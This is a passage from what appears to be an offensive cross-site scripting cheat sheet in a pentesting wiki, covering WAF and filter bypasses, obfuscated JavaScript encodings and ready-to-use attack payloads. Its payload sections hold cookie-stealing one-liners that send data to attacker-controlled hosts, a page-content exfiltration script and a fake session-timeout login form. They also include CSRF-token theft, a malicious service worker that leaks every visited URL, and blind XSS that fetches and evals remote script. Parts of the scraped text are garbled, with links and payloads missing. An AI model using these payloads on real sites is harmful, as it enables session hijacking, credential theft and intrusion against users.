Go to and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).

Taken from the blog of .

The last one is using 2 unicode characters which expands to 5: telsr More of these characters can be found . To check in which characters are decomposed check . More tiny XSS for different environments payload **and [here**]().

If in order to exploit the vulnerability you need the user to click a link or a form with prepopulated data you could try to (if the page is vulnerable).

If you just think that it's impossible to create an HTML tag with an attribute to execute JS code, you should check because you could exploit the vulnerability without executing JS code.

If you are in inside a HTML tag, the first thing you could try is to escape from the tag and use some of the techniques mentioned in the to execute JS code. If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag):

First of all check this page () for useful "on" event handlers. In case there is some blacklist preventing you from creating this even handlers you can try the following bypasses:

From : You can execute an XSS payload inside a hidden attribute, provided you can persuade the victim into pressing the key combination. On Firefox Windows/Linux the key combination is ALT+SHIFT+X and on OS X it is CTRL+ALT+X. You can specify a different key combination using a different key in the access key attribute. Here is the vector:

Read the.

Read the J.

JavaScript comments (from trick)

JavaScript new lines (from trick)

//General function executions //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\; Set.constructor('ale'+'rt(13)')(); Set.constructoral\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[al+/ert/.source]1this[al+/ert/.source]1[alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt1` top top top

``` ## **DOM vulnerabilities** There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code. **Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** {% page-ref page="dom-xss.md" %} There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**. Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). ## Other Bypasses ### Normalised Unicode You could check is the **reflected values** are being **unicode normalized** in the server \(or in the client side\) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-normalization-vulnerability.md#xss-cross-site-scripting). ### PHP FILTER\_VALIDATE\_EMAIL flag Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass Due to **RoR mass assignment** quotes are inserted in the HTML and then the quote restriction is bypassed and additoinal fields \(onfocus\) can be added inside the tag. Form example \([from this report](https://hackerone.com/reports/709336)\), if you send the payload: ```text contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` The pair "Key","Value" will be echoed back like this: ```text {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Then, the onfocus attribute will be inserted: ![](../../.gitbook/assets/image%20%2882%29.png) A XSS occurs. ### Special combinations ```markup alert(1) alert('XSS') <svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;// <svg////////onload=alert(1)> <svg id=x;onload=alert(1)> <svg id=`x`onload=alert(1)> <img src=1 alt=al lang=ert onerror=top[alt+lang](0)> <script>$=1,alert($)confirm(1)$=1,\u0061lert($)<eval('\\u'+'0061'+'lert(1)')//<\u0061lert(1)alert(1) alert('1'&#41</x> <iframe src=""/srcdoc='<svg onload=alert(1)>'> <svg><animate onbegin=alert() attributeName=x></svg> <img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)> <img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);" ``` ### XSS with header injection in a 302 response If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. This is **not trivial** as modern browsers do not interpret the HTTP response body if the HTTP response status code is a 302, so just a cross-site scripting payload is useless. In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body. Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. ### Obfuscation & Advanced Bypass * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com/) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com/) * More sofisticated JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) ```javascript //Katana <script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')() ``` ```javascript //JJencode$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())(); ``` ```javascript //JSFuck(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])() ``` ```javascript //aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); ``` ## XSS common payloads ### Retrieve Cookies ```javascript /?c="+document.cookie> new Image().src="http://<IP>/?c="+encodeURI(document.cookie);new Audio().src="http://<IP>/?c="+escape(document.cookie);location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookielocation = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookiedocument.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookiedocument.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookiedocument.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookiewindow.location="https://<SERVER_IP>/?c=".concat(document.cookie)var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie) ``` {% hint style="info" %} You **won't be able to access the cookies from JavaScript** if the HTTPOnly flag is set in the cookie. But here you have [some ways to bypass this protection](../hacking-with-cookies.md#httponly) if you are lucky enough. {% endhint %} ### Steal Page Content ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### Port Scanner \(fetch\) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i::placeholder { color:white; }document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>") ``` ### Auto-fill passwords capture ```javascript Username:</> Password:</> ``` When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. ### Keylogger Just searching in github I found a few different ones: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * You can also use metasploit `http_javascript_keylogger` ### XSS - Stealing CSRF tokens ```javascript var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get','/email',true); req.send(); function handleResponse() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/email/change-email', true); changeReq.send('csrf='+token+'&email=test@test.com') }; ``` ### XSS - Stealing PostMessage messages ```markup window.onmessage = function(e){ document.getElementById("message").src += "&"+e.data; ``` ### XSS - Abusing Service Workers A service worker is a **script** that your browser **runs** in the **background**, separate from a web page, opening the door to features that don't need a web page or user interaction. \([More info about what is a service worker here](https://developers.google.com/web/fundamentals/primers/service-workers)\). The goal of this attack is to **create service workers** on the **victim session** inside the **vulnerable** web **domain** that grant the **attacker control** over **all the pages** the **victim** will load in **that domain**. In order to exploit this vulnerability you need to find: * A way to **upload arbitrary JS** files to the server and a **XSS to load the service worker** of the uploaded JS file * A **vulnerable JSONP request** where you can **manipulate the output \(with arbitrary JS code\)** and a **XSS** to **load the JSONP with a payload** that will **load a malicious service worker**. In the following example I'm going to present a code to **register a new service worke**r that will listen to the `fetch` event and will **send to the attackers server each fetched URL** \(this is the code you would need to **upload** to the **server** or load via a **vulnerable JSONP** response\): ```javascript self.addEventListener('fetch', function(e) { e.respondWith(caches.match(e.request).then(function(response) { fetch('https://attacker.com/fetch_url/' + e.request.url) }); ``` And this is the code that will **register the worker** \(the code you should be able to execute abusing a **XSS**\). In this case a **GET** request will be sent to the **attackers** server **notifying** if the **registration** of the service worker was successful or not: ```javascript window.addEventListener('load', function() { var sw = "/uploaded/ws_js.js"; navigator.serviceWorker.register(sw, {scope: '/'}) .then(function(registration) { var xhttp2 = new XMLHttpRequest(); xhttp2.open("GET", "https://attacker.com/SW/success", true); xhttp2.send(); }, function (err) { var xhttp2 = new XMLHttpRequest(); xhttp2.open("GET", "https://attacker.com/SW/error", true); xhttp2.send(); }); }); ``` In case of abusing a vulnerable JSONP endpoint you should put the value inside `var sw`. For example: ```javascript var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"; ``` There is **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io/) that will be very useful to abuse these vulnerabilities. ### Polyglots {% embed url="https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/xss\_polyglots.txt" %} ### Blind XSS payloads ```markup "> "> >Click Me For An Awesome Timefunction b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send(); "> ">">

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Use it to bypass cookie restrictions, XSS filters and much more! More information about this technique here: .

Upload as an image a file like the following one (from ):

Find some .

Trick to download .map js files:

Client Side Template Injection
Dangling Markup - HTML scriptless injection
Client Side Template Injection
DOM XSS
Server Side XSS (Dynamic PDF)
XSS to RCE Electron Desktop Apps
Client Side Template Injection
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
Jorge Lajara
here
here
can be found here
https://tinyxss.terjanq.me/
Danglig Markup
Reverse Tab Nabbing
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
here
https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
'al\145rt'
'al\x65rt'
8680439..toString(30)
XSLT
Server Side XSS (Dynamic PDF)
PDF Injection
http://ghostlulz.com/xss-svg/
https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md
https://mathiasbynens.be/notes/javascript-unicode
https://mathiasbynens.be/notes/javascript-encoding
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
http://www.xss-payloads.com
https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt
https://github.com/materaj/xss-list
https://github.com/ismailtasdelen/xss-payload-list
https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
https://netsec.expert/2020/02/01/xss-in-2020.html
tools for XSS here
https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7
previous section
Blacklist Bypasses of the previous section
avaScript bypass blacklist of the following section
JavaScript Comments
JavaScript new line
String.fromCharCode(88,83,83)
abuse Clickjacking
from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21